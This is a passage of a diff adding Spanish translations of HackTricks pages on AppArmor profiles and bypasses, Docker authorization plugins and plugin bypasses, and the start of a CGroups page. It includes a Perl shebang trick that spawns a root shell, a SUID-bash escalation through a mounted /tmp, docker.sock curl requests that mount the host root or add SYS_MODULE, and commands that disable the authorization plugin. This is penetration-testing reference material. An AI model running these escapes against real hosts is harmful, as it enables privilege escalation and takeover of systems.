* **Cx** (ejecutar bajo un perfil secundario, después de limpiar el entorno)
|
||||
* **Ux** (ejecutar sin restricciones, después de limpiar el entorno)
|
||||
* Se pueden definir **variables** en los perfiles y se pueden manipular desde fuera del perfil. Por ejemplo: @{PROC} y @{HOME} (agregue #include \<tunables/global> al archivo de perfil)
|
||||
* Se admiten **reglas de denegación para anular las reglas de permiso**.
|
||||
|
||||
### aa-genprof
|
||||
|
||||
Para empezar a crear un perfil, apparmor puede ayudarte. Es posible hacer que **apparmor inspeccione las acciones realizadas por un binario y luego permitirte decidir qué acciones quieres permitir o denegar**.\
|
||||
Solo necesitas ejecutar:
|
||||
```bash
|
||||
sudo aa-genprof /path/to/binary
|
||||
```
|
||||
Entonces, en una consola diferente realiza todas las acciones que el binario normalmente realizaría:
|
||||
```bash
|
||||
/path/to/binary -a dosomething
|
||||
```
|
||||
Entonces, en la primera consola presiona "**s**" y luego en las acciones grabadas indica si quieres ignorar, permitir o lo que sea. Cuando hayas terminado, presiona "**f**" y el nuevo perfil se creará en _/etc/apparmor.d/path.to.binary_
|
||||
|
||||
{% hint style="info" %}
|
||||
Usando las teclas de flecha puedes seleccionar lo que quieres permitir/denegar/lo que sea.
|
||||
{% endhint %}
|
||||
|
||||
### aa-easyprof
|
||||
|
||||
También puedes crear una plantilla de un perfil de apparmor de un binario con:
|
||||
```bash
|
||||
sudo aa-easyprof /path/to/binary
|
||||
# vim:syntax=apparmor
|
||||
# AppArmor policy for binary
|
||||
# ###AUTHOR###
|
||||
# ###COPYRIGHT###
|
||||
# ###COMMENT###
|
||||
|
||||
#include <tunables/global>
|
||||
|
||||
# No template variables specified
|
||||
|
||||
"/path/to/binary" {
|
||||
#include <abstractions/base>
|
||||
|
||||
# No abstractions specified
|
||||
|
||||
# No policy groups specified
|
||||
|
||||
# No read paths specified
|
||||
|
||||
# No write paths specified
|
||||
}
|
||||
```
|
||||
{% hint style="info" %}
|
||||
Tenga en cuenta que por defecto en un perfil creado nada está permitido, por lo que todo está denegado. Necesitará agregar líneas como `/etc/passwd r,` para permitir la lectura del binario `/etc/passwd`, por ejemplo.
|
||||
{% endhint %}
|
||||
|
||||
Luego puede **imponer** el nuevo perfil con
|
||||
```bash
|
||||
sudo apparmor_parser -a /etc/apparmor.d/path.to.binary
|
||||
```
|
||||
### Modificando un perfil a partir de los registros
|
||||
|
||||
La siguiente herramienta leerá los registros y preguntará al usuario si desea permitir algunas de las acciones prohibidas detectadas:
|
||||
```bash
|
||||
sudo aa-logprof
|
||||
```
|
||||
{% hint style="info" %}
|
||||
Usando las teclas de flecha puedes seleccionar lo que quieres permitir/denegar/lo que sea.
|
||||
{% endhint %}
|
||||
|
||||
### Administrando un perfil
|
||||
```bash
|
||||
#Main profile management commands
|
||||
apparmor_parser -a /etc/apparmor.d/profile.name #Load a new profile in enforce mode
|
||||
apparmor_parser -C /etc/apparmor.d/profile.name #Load a new profile in complain mode
|
||||
apparmor_parser -r /etc/apparmor.d/profile.name #Replace existing profile
|
||||
apparmor_parser -R /etc/apparmor.d/profile.name #Remove profile
|
||||
```
|
||||
## Registros
|
||||
|
||||
Ejemplo de registros **AUDIT** y **DENIED** del ejecutable **`service_bin`** en _/var/log/audit/audit.log_:
|
||||
```bash
|
||||
type=AVC msg=audit(1610061880.392:286): apparmor="AUDIT" operation="getattr" profile="/bin/rcat" name="/dev/pts/1" pid=954 comm="service_bin" requested_mask="r" fsuid=1000 ouid=1000
|
||||
type=AVC msg=audit(1610061880.392:287): apparmor="DENIED" operation="open" profile="/bin/rcat" name="/etc/hosts" pid=954 comm="service_bin" requested_mask="r" denied_mask="r" fsuid=1000 ouid=0
|
||||
```
|
||||
También puedes obtener esta información usando:
|
||||
```bash
|
||||
sudo aa-notify -s 1 -v
|
||||
Profile: /bin/service_bin
|
||||
Operation: open
|
||||
Name: /etc/passwd
|
||||
Denied: r
|
||||
Logfile: /var/log/audit/audit.log
|
||||
|
||||
Profile: /bin/service_bin
|
||||
Operation: open
|
||||
Name: /etc/hosts
|
||||
Denied: r
|
||||
Logfile: /var/log/audit/audit.log
|
||||
|
||||
AppArmor denials: 2 (since Wed Jan 6 23:51:08 2021)
|
||||
For more information, please see: https://wiki.ubuntu.com/DebuggingApparmor
|
||||
```
|
||||
## Apparmor en Docker
|
||||
|
||||
Observa cómo el perfil **docker-profile** de Docker se carga por defecto:
|
||||
```bash
|
||||
sudo aa-status
|
||||
apparmor module is loaded.
|
||||
50 profiles are loaded.
|
||||
13 profiles are in enforce mode.
|
||||
/sbin/dhclient
|
||||
/usr/bin/lxc-start
|
||||
/usr/lib/NetworkManager/nm-dhcp-client.action
|
||||
/usr/lib/NetworkManager/nm-dhcp-helper
|
||||
/usr/lib/chromium-browser/chromium-browser//browser_java
|
||||
/usr/lib/chromium-browser/chromium-browser//browser_openjdk
|
||||
/usr/lib/chromium-browser/chromium-browser//sanitized_helper
|
||||
/usr/lib/connman/scripts/dhclient-script
|
||||
docker-default
|
||||
```
|
||||
Por defecto, el perfil de Apparmor docker-default se genera a partir de [https://github.com/moby/moby/tree/master/profiles/apparmor](https://github.com/moby/moby/tree/master/profiles/apparmor).
|
||||
|
||||
Resumen del perfil docker-default:
|
||||
|
||||
* Acceso a toda la red.
|
||||
* No se define ninguna capacidad (sin embargo, algunas capacidades vendrán incluidas en las reglas básicas base, es decir, #include \<abstractions/base>).
|
||||
* No se permite escribir en ningún archivo de /proc.
|
||||
* Se deniega el acceso de lectura/escritura/bloqueo/enlace/ejecución a otros subdirectorios/archivos de /proc y /sys.
|
||||
* No se permite montar.
|
||||
* Ptrace solo se puede ejecutar en un proceso que esté confinado por el mismo perfil de Apparmor.
|
||||
|
||||
Una vez que ejecutas un contenedor de Docker, deberías ver la siguiente salida:
|
||||
```bash
|
||||
1 processes are in enforce mode.
|
||||
docker-default (825)
|
||||
```
|
||||
Tenga en cuenta que **apparmor incluso bloqueará los privilegios de capacidades** otorgados al contenedor por defecto. Por ejemplo, será capaz de **bloquear el permiso de escritura dentro de /proc incluso si se otorga la capacidad SYS\_ADMIN** porque por defecto el perfil de apparmor de docker deniega este acceso:
|
||||
```bash
|
||||
docker run -it --cap-add SYS_ADMIN --security-opt seccomp=unconfined ubuntu /bin/bash
|
||||
echo "" > /proc/stat
|
||||
sh: 1: cannot create /proc/stat: Permission denied
|
||||
```
|
||||
Necesitas **desactivar apparmor** para evitar sus restricciones:
|
||||
```bash
|
||||
docker run -it --cap-add SYS_ADMIN --security-opt seccomp=unconfined --security-opt apparmor=unconfined ubuntu /bin/bash
|
||||
```
|
||||
Tenga en cuenta que por defecto, **AppArmor** también **prohibirá que el contenedor monte** carpetas desde el interior, incluso con la capacidad SYS\_ADMIN.
|
||||
|
||||
Tenga en cuenta que puede **añadir/eliminar** **capacidades** al contenedor de Docker (esto seguirá estando restringido por métodos de protección como **AppArmor** y **Seccomp**):
|
||||
|
||||
* `--cap-add=SYS_ADMIN` da la capacidad `SYS_ADMIN`
|
||||
* `--cap-add=ALL` da todas las capacidades
|
||||
* `--cap-drop=ALL --cap-add=SYS_PTRACE` elimina todas las capacidades y solo da `SYS_PTRACE`
|
||||
|
||||
{% hint style="info" %}
|
||||
Por lo general, cuando **descubra** que tiene una **capacidad privilegiada** disponible **dentro** de un **contenedor docker**, pero alguna parte del **exploit no funciona**, esto se debe a que **apparmor de docker lo está previniendo**.
|
||||
{% endhint %}
|
||||
|
||||
### Ejemplo
|
||||
|
||||
(Ejemplo de [**aquí**](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-2docker-engine/))
|
||||
|
||||
Para ilustrar la funcionalidad de AppArmor, creé un nuevo perfil de Docker "mydocker" con la siguiente línea añadida:
|
||||
```
|
||||
deny /etc/* w, # deny write for all files directly in /etc (not in a subdir)
|
||||
```
|
||||
Para activar el perfil, necesitamos hacer lo siguiente:
|
||||
```
|
||||
sudo apparmor_parser -r -W mydocker
|
||||
```
|
||||
Para listar los perfiles, podemos utilizar el siguiente comando. El comando de abajo está listando mi nuevo perfil de AppArmor.
|
||||
```
|
||||
$ sudo apparmor_status | grep mydocker
|
||||
mydocker
|
||||
```
|
||||
Como se muestra a continuación, obtenemos un error al intentar cambiar "/etc/" ya que el perfil de AppArmor está impidiendo el acceso de escritura a "/etc".
|
||||
```
|
||||
$ docker run --rm -it --security-opt apparmor:mydocker -v ~/haproxy:/localhost busybox chmod 400 /etc/hostname
|
||||
chmod: /etc/hostname: Permission denied
|
||||
```
|
||||
### Bypass de AppArmor Docker1
|
||||
|
||||
Puedes encontrar qué **perfil de apparmor está ejecutando un contenedor** usando:
|
||||
```bash
|
||||
docker inspect 9d622d73a614 | grep lowpriv
|
||||
"AppArmorProfile": "lowpriv",
|
||||
"apparmor=lowpriv"
|
||||
```
|
||||
Entonces, puedes ejecutar la siguiente línea para **encontrar el perfil exacto que se está utilizando**:
|
||||
```bash
|
||||
find /etc/apparmor.d/ -name "*lowpriv*" -maxdepth 1 2>/dev/null
|
||||
```
|
||||
En el extraño caso de que puedas **modificar el perfil de apparmor de docker y recargarlo**, podrías eliminar las restricciones y "burlarlas".
|
||||
|
||||
### Bypass de AppArmor Docker 2
|
||||
|
||||
**AppArmor se basa en rutas**, lo que significa que incluso si está **protegiendo** archivos dentro de un directorio como **`/proc`** si puedes **configurar cómo se ejecutará el contenedor**, podrías **montar** el directorio proc del host dentro de **`/host/proc`** y ya no estará protegido por AppArmor.
|
||||
|
||||
### Bypass de AppArmor Shebang
|
||||
|
||||
En [**este error**](https://bugs.launchpad.net/apparmor/+bug/1911431) puedes ver un ejemplo de cómo **incluso si estás evitando que se ejecute perl con ciertos recursos**, si simplemente creas un script de shell **especificando** en la primera línea **`#!/usr/bin/perl`** y lo **ejecutas directamente**, podrás ejecutar lo que quieras. Ej.:
|
||||
```perl
|
||||
echo '#!/usr/bin/perl
|
||||
use POSIX qw(strftime);
|
||||
use POSIX qw(setuid);
|
||||
POSIX::setuid(0);
|
||||
exec "/bin/sh"' > /tmp/test.pl
|
||||
chmod +x /tmp/test.pl
|
||||
/tmp/test.pl
|
||||
```
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén la [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
|
@ -0,0 +1,211 @@
|
|||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
- ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
|
||||
- Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de exclusivos [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
|
||||
- **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
||||
- **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
El modelo de **autorización** predeterminado de **Docker** es de **todo o nada**. Cualquier usuario con permiso para acceder al demonio de Docker puede **ejecutar cualquier** comando de cliente de Docker. Lo mismo ocurre para los llamadores que utilizan la API de Engine de Docker para contactar con el demonio. Si necesita un **mayor control de acceso**, puede crear **plugins de autorización** y agregarlos a la configuración de su demonio de Docker. Usando un plugin de autorización, un administrador de Docker puede **configurar políticas de acceso granulares** para administrar el acceso al demonio de Docker.
|
||||
|
||||
# Arquitectura básica
|
||||
|
||||
Los plugins de autenticación de Docker son **plugins externos** que puede utilizar para **permitir/denegar** **acciones** solicitadas al demonio de Docker **dependiendo** del **usuario** que lo solicitó y la **acción** **solicitada**.
|
||||
|
||||
Cuando se realiza una **solicitud HTTP** al demonio de Docker a través de la CLI o mediante la API de Engine, el **subsistema de autenticación** **pasa** la solicitud al o los **plugins de autenticación** instalados. La solicitud contiene el usuario (llamador) y el contexto del comando. El **plugin** es responsable de decidir si **permitir** o **denegar** la solicitud.
|
||||
|
||||
Los diagramas de secuencia a continuación representan un flujo de autorización de permitir y denegar:
|
||||
|
||||
![Flujo de autorización permitir](https://docs.docker.com/engine/extend/images/authz\_allow.png)
|
||||
|
||||
![Flujo de autorización denegar](https://docs.docker.com/engine/extend/images/authz\_deny.png)
|
||||
|
||||
Cada solicitud enviada al plugin **incluye el usuario autenticado, las cabeceras HTTP y el cuerpo de la solicitud/respuesta**. Solo se pasa el **nombre de usuario** y el **método de autenticación** utilizado al plugin. Lo más importante es que **no se pasan** las **credenciales** o tokens de usuario. Finalmente, **no se envían todos los cuerpos de solicitud/respuesta** al plugin de autorización. Solo se envían aquellos cuerpos de solicitud/respuesta donde el `Content-Type` es `text/*` o `application/json`.
|
||||
|
||||
Para los comandos que pueden secuestrar la conexión HTTP (`HTTP Upgrade`), como `exec`, el plugin de autorización solo se llama para las solicitudes HTTP iniciales. Una vez que el plugin aprueba el comando, la autorización no se aplica al resto del flujo. Específicamente, los datos de transmisión no se pasan a los plugins de autorización. Para los comandos que devuelven una respuesta HTTP fragmentada, como `logs` y `events`, solo se envía la solicitud HTTP a los plugins de autorización.
|
||||
|
||||
Durante el procesamiento de la solicitud/respuesta, algunos flujos de autorización pueden necesitar hacer consultas adicionales al demonio de Docker. Para completar dichos flujos, los plugins pueden llamar a la API del demonio de manera similar a un usuario regular. Para habilitar estas consultas adicionales, el plugin debe proporcionar los medios para que un administrador configure políticas de autenticación y seguridad adecuadas.
|
||||
|
||||
## Varios plugins
|
||||
|
||||
Es responsabilidad suya **registrar** su **plugin** como parte del **inicio** del demonio de Docker. Puede instalar **múltiples plugins y encadenarlos**. Esta cadena puede ser ordenada. Cada solicitud al demonio pasa en orden a través de la cadena. Solo cuando **todos los plugins otorgan acceso** al recurso, se otorga el acceso.
|
||||
|
||||
# Ejemplos de plugins
|
||||
|
||||
## Twistlock AuthZ Broker
|
||||
|
||||
El plugin [**authz**](https://github.com/twistlock/authz) le permite crear un archivo **JSON** simple que el **plugin** leerá para autorizar las solicitudes. Por lo tanto, le brinda la oportunidad de controlar muy fácilmente qué puntos finales de API pueden alcanzar cada usuario.
|
||||
|
||||
Este es un ejemplo que permitirá que Alice y Bob puedan crear nuevos contenedores: `{"name":"policy_3","users":["alice","bob"],"actions":["container_create"]}`
|
||||
|
||||
En la página [route\_parser.go](https://github.com/twistlock/authz/blob/master/core/route\_parser.go) puede encontrar la relación entre la URL solicitada y la acción. En la página [types.go](https://github.com/twistlock/authz/blob/master/core/types.go) puede encontrar la relación entre el nombre de la acción y la acción.
|
||||
|
||||
## Tutorial de plugin simple
|
||||
|
||||
Puede encontrar un **plugin fácil de entender** con información detallada sobre la instalación y depuración aquí: [**https://github.com/carlospolop-forks/authobot**](https://github.com/carlospolop-forks/authobot)
|
||||
|
||||
Lea el archivo `README` y el código `plugin.go` para entender cómo funciona.
|
||||
|
||||
# Bypass de plugin de autenticación de Docker
|
||||
|
||||
## Enumerar acceso
|
||||
|
||||
Las principales cosas a verificar son **qué puntos finales están permitidos** y **qué valores de HostConfig están permitidos**.
|
||||
|
||||
Para realizar esta enumeración, puede **usar la herramienta** [**https://github.com/carlospolop/docker\_auth\_profiler**](https://github.com/carlospolop/docker\_auth\_profiler)**.**
|
||||
|
||||
## Ejecución no permitida de `run --privileged`
|
||||
|
||||
### Privilegios mínimos
|
||||
```bash
|
||||
docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu bash
|
||||
```
|
||||
### Ejecutando un contenedor y luego obteniendo una sesión privilegiada
|
||||
|
||||
En este caso, el administrador del sistema **prohibió a los usuarios montar volúmenes y ejecutar contenedores con la bandera `--privileged` o dar cualquier capacidad adicional al contenedor:**
|
||||
```bash
|
||||
docker run -d --privileged modified-ubuntu
|
||||
docker: Error response from daemon: authorization denied by plugin customauth: [DOCKER FIREWALL] Specified Privileged option value is Disallowed.
|
||||
See 'docker run --help'.
|
||||
```
|
||||
Sin embargo, un usuario puede **crear una shell dentro del contenedor en ejecución y otorgarle privilegios adicionales**:
|
||||
```bash
|
||||
docker run -d --security-opt seccomp=unconfined --security-opt apparmor=unconfined ubuntu
|
||||
#bb72293810b0f4ea65ee8fd200db418a48593c1a8a31407be6fee0f9f3e4f1de
|
||||
|
||||
# Now you can run a shell with --privileged
|
||||
docker exec -it privileged bb72293810b0f4ea65ee8fd200db418a48593c1a8a31407be6fee0f9f3e4f1de bash
|
||||
# With --cap-add=ALL
|
||||
docker exec -it ---cap-add=ALL bb72293810b0f4ea65ee8fd200db418a48593c1a8a31407be6fee0f9f3e4 bash
|
||||
# With --cap-add=SYS_ADMIN
|
||||
docker exec -it ---cap-add=SYS_ADMIN bb72293810b0f4ea65ee8fd200db418a48593c1a8a31407be6fee0f9f3e4 bash
|
||||
```
|
||||
Ahora, el usuario puede escapar del contenedor usando cualquiera de las [**técnicas previamente discutidas**](./#privileged-flag) y **escalar privilegios** dentro del host.
|
||||
|
||||
## Montar carpeta con permisos de escritura
|
||||
|
||||
En este caso, el administrador del sistema **prohibió a los usuarios ejecutar contenedores con la bandera `--privileged`** o dar cualquier capacidad adicional al contenedor, y solo permitió montar la carpeta `/tmp`:
|
||||
```bash
|
||||
host> cp /bin/bash /tmp #Cerate a copy of bash
|
||||
host> docker run -it -v /tmp:/host ubuntu:18.04 bash #Mount the /tmp folder of the host and get a shell
|
||||
docker container> chown root:root /host/bash
|
||||
docker container> chmod u+s /host/bash
|
||||
host> /tmp/bash
|
||||
-p #This will give you a shell as root
|
||||
```
|
||||
{% hint style="info" %}
|
||||
Ten en cuenta que quizás no puedas montar la carpeta `/tmp`, pero puedes montar una **carpeta diferente que sea escribible**. Puedes encontrar directorios escribibles usando: `find / -writable -type d 2>/dev/null`
|
||||
|
||||
**¡Ten en cuenta que no todos los directorios en una máquina Linux admitirán el bit suid!** Para comprobar qué directorios admiten el bit suid, ejecuta `mount | grep -v "nosuid"`. Por ejemplo, por lo general, `/dev/shm`, `/run`, `/proc`, `/sys/fs/cgroup` y `/var/lib/lxcfs` no admiten el bit suid.
|
||||
|
||||
También ten en cuenta que si puedes **montar `/etc`** o cualquier otra carpeta **que contenga archivos de configuración**, puedes cambiarlos desde el contenedor de Docker como root para **abusar de ellos en el host** y escalar privilegios (tal vez modificando `/etc/shadow`).
|
||||
{% endhint %}
|
||||
|
||||
## Punto de conexión de API no verificado
|
||||
|
||||
La responsabilidad del administrador del sistema que configura este plugin sería controlar qué acciones y con qué privilegios puede realizar cada usuario. Por lo tanto, si el administrador adopta un enfoque de **lista negra** con los puntos de conexión y los atributos, podría **olvidar algunos** que podrían permitir a un atacante **escalar privilegios**.
|
||||
|
||||
Puedes comprobar la API de Docker en [https://docs.docker.com/engine/api/v1.40/#](https://docs.docker.com/engine/api/v1.40/#)
|
||||
|
||||
## Estructura JSON no verificada
|
||||
|
||||
### Vínculos en root
|
||||
|
||||
Es posible que cuando el administrador del sistema configuró el firewall de Docker, **olvidó algún parámetro importante** de la [**API**](https://docs.docker.com/engine/api/v1.40/#operation/ContainerList) como "**Binds**".\
|
||||
En el siguiente ejemplo, es posible abusar de esta mala configuración para crear y ejecutar un contenedor que monta la carpeta raíz (/) del host:
|
||||
```bash
|
||||
docker version #First, find the API version of docker, 1.40 in this example
|
||||
docker images #List the images available
|
||||
#Then, a container that mounts the root folder of the host
|
||||
curl --unix-socket /var/run/docker.sock -H "Content-Type: application/json" -d '{"Image": "ubuntu", "Binds":["/:/host"]}' http:/v1.40/containers/create
|
||||
docker start f6932bc153ad #Start the created privileged container
|
||||
docker exec -it f6932bc153ad chroot /host bash #Get a shell inside of it
|
||||
#You can access the host filesystem
|
||||
```
|
||||
{% hint style="warning" %}
|
||||
Observa cómo en este ejemplo estamos usando el parámetro **`Binds`** como una clave de nivel raíz en el JSON, pero en la API aparece bajo la clave **`HostConfig`**
|
||||
{% endhint %}
|
||||
|
||||
### Binds en HostConfig
|
||||
|
||||
Sigue las mismas instrucciones que con **Binds en root** realizando esta **solicitud** a la API de Docker:
|
||||
```bash
|
||||
curl --unix-socket /var/run/docker.sock -H "Content-Type: application/json" -d '{"Image": "ubuntu", "HostConfig":{"Binds":["/:/host"]}}' http:/v1.40/containers/create
|
||||
```
|
||||
### Montajes en la raíz
|
||||
|
||||
Siga las mismas instrucciones que con **Vínculos en la raíz** realizando esta **solicitud** a la API de Docker:
|
||||
```bash
|
||||
curl --unix-socket /var/run/docker.sock -H "Content-Type: application/json" -d '{"Image": "ubuntu-sleep", "Mounts": [{"Name": "fac36212380535", "Source": "/", "Destination": "/host", "Driver": "local", "Mode": "rw,Z", "RW": true, "Propagation": "", "Type": "bind", "Target": "/host"}]}' http:/v1.40/containers/create
|
||||
```
|
||||
### Montajes en HostConfig
|
||||
|
||||
Siga las mismas instrucciones que con **Vínculos en root** realizando esta **solicitud** a la API de Docker:
|
||||
```bash
|
||||
curl --unix-socket /var/run/docker.sock -H "Content-Type: application/json" -d '{"Image": "ubuntu-sleep", "HostConfig":{"Mounts": [{"Name": "fac36212380535", "Source": "/", "Destination": "/host", "Driver": "local", "Mode": "rw,Z", "RW": true, "Propagation": "", "Type": "bind", "Target": "/host"}]}}' http:/v1.40/containers/cre
|
||||
```
|
||||
## Atributo JSON no verificado
|
||||
|
||||
Es posible que cuando el administrador del sistema configuró el firewall de Docker, **olvidó algún atributo importante de un parámetro de la [API](https://docs.docker.com/engine/api/v1.40/#operation/ContainerList)** como "**Capabilities**" dentro de "**HostConfig**". En el siguiente ejemplo es posible abusar de esta mala configuración para crear y ejecutar un contenedor con la capacidad **SYS\_MODULE**:
|
||||
```bash
|
||||
docker version
|
||||
curl --unix-socket /var/run/docker.sock -H "Content-Type: application/json" -d '{"Image": "ubuntu", "HostConfig":{"Capabilities":["CAP_SYS_MODULE"]}}' http:/v1.40/containers/create
|
||||
docker start c52a77629a9112450f3dedd1ad94ded17db61244c4249bdfbd6bb3d581f470fa
|
||||
docker ps
|
||||
docker exec -it c52a77629a91 bash
|
||||
capsh --print
|
||||
#You can abuse the SYS_MODULE capability
|
||||
```
|
||||
{% hint style="info" %}
|
||||
El **`HostConfig`** es la clave que generalmente contiene los **privilegios** **interesantes** para escapar del contenedor. Sin embargo, como hemos discutido anteriormente, tenga en cuenta que el uso de Binds fuera de él también funciona y puede permitirle evitar restricciones.
|
||||
{% endhint %}
|
||||
|
||||
## Desactivando el Plugin
|
||||
|
||||
Si el **sysadmin** ha **olvidado** **prohibir** la capacidad de **desactivar** el **plugin**, ¡puedes aprovechar esto para desactivarlo por completo!
|
||||
```bash
|
||||
docker plugin list #Enumerate plugins
|
||||
|
||||
# If you don’t have access to enumerate the plugins you can see the name of the plugin in the error output:
|
||||
docker: Error response from daemon: authorization denied by plugin authobot:latest: use of Privileged containers is not allowed.
|
||||
# "authbolt" is the name of the previous plugin
|
||||
|
||||
docker plugin disable authobot
|
||||
docker run --rm -it --privileged -v /:/host ubuntu bash
|
||||
docker plugin enable authobot
|
||||
```
|
||||
Recuerda **volver a habilitar el plugin después de escalar**, o un **reinicio del servicio de Docker no funcionará**.
|
||||
|
||||
## Writeups de Bypass del Plugin de Autorización
|
||||
|
||||
* [https://staaldraad.github.io/post/2019-07-11-bypass-docker-plugin-with-containerd/](https://staaldraad.github.io/post/2019-07-11-bypass-docker-plugin-with-containerd/)
|
||||
|
||||
# Referencias
|
||||
|
||||
* [https://docs.docker.com/engine/extend/plugins\_authorization/](https://docs.docker.com/engine/extend/plugins\_authorization/)
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
- ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
|
||||
- Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
|
||||
- **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
||||
- **Comparte tus trucos de hacking enviando PR al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
|
@ -0,0 +1,88 @@
|
|||
## CGroups
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
## Información básica
|
||||
|
||||
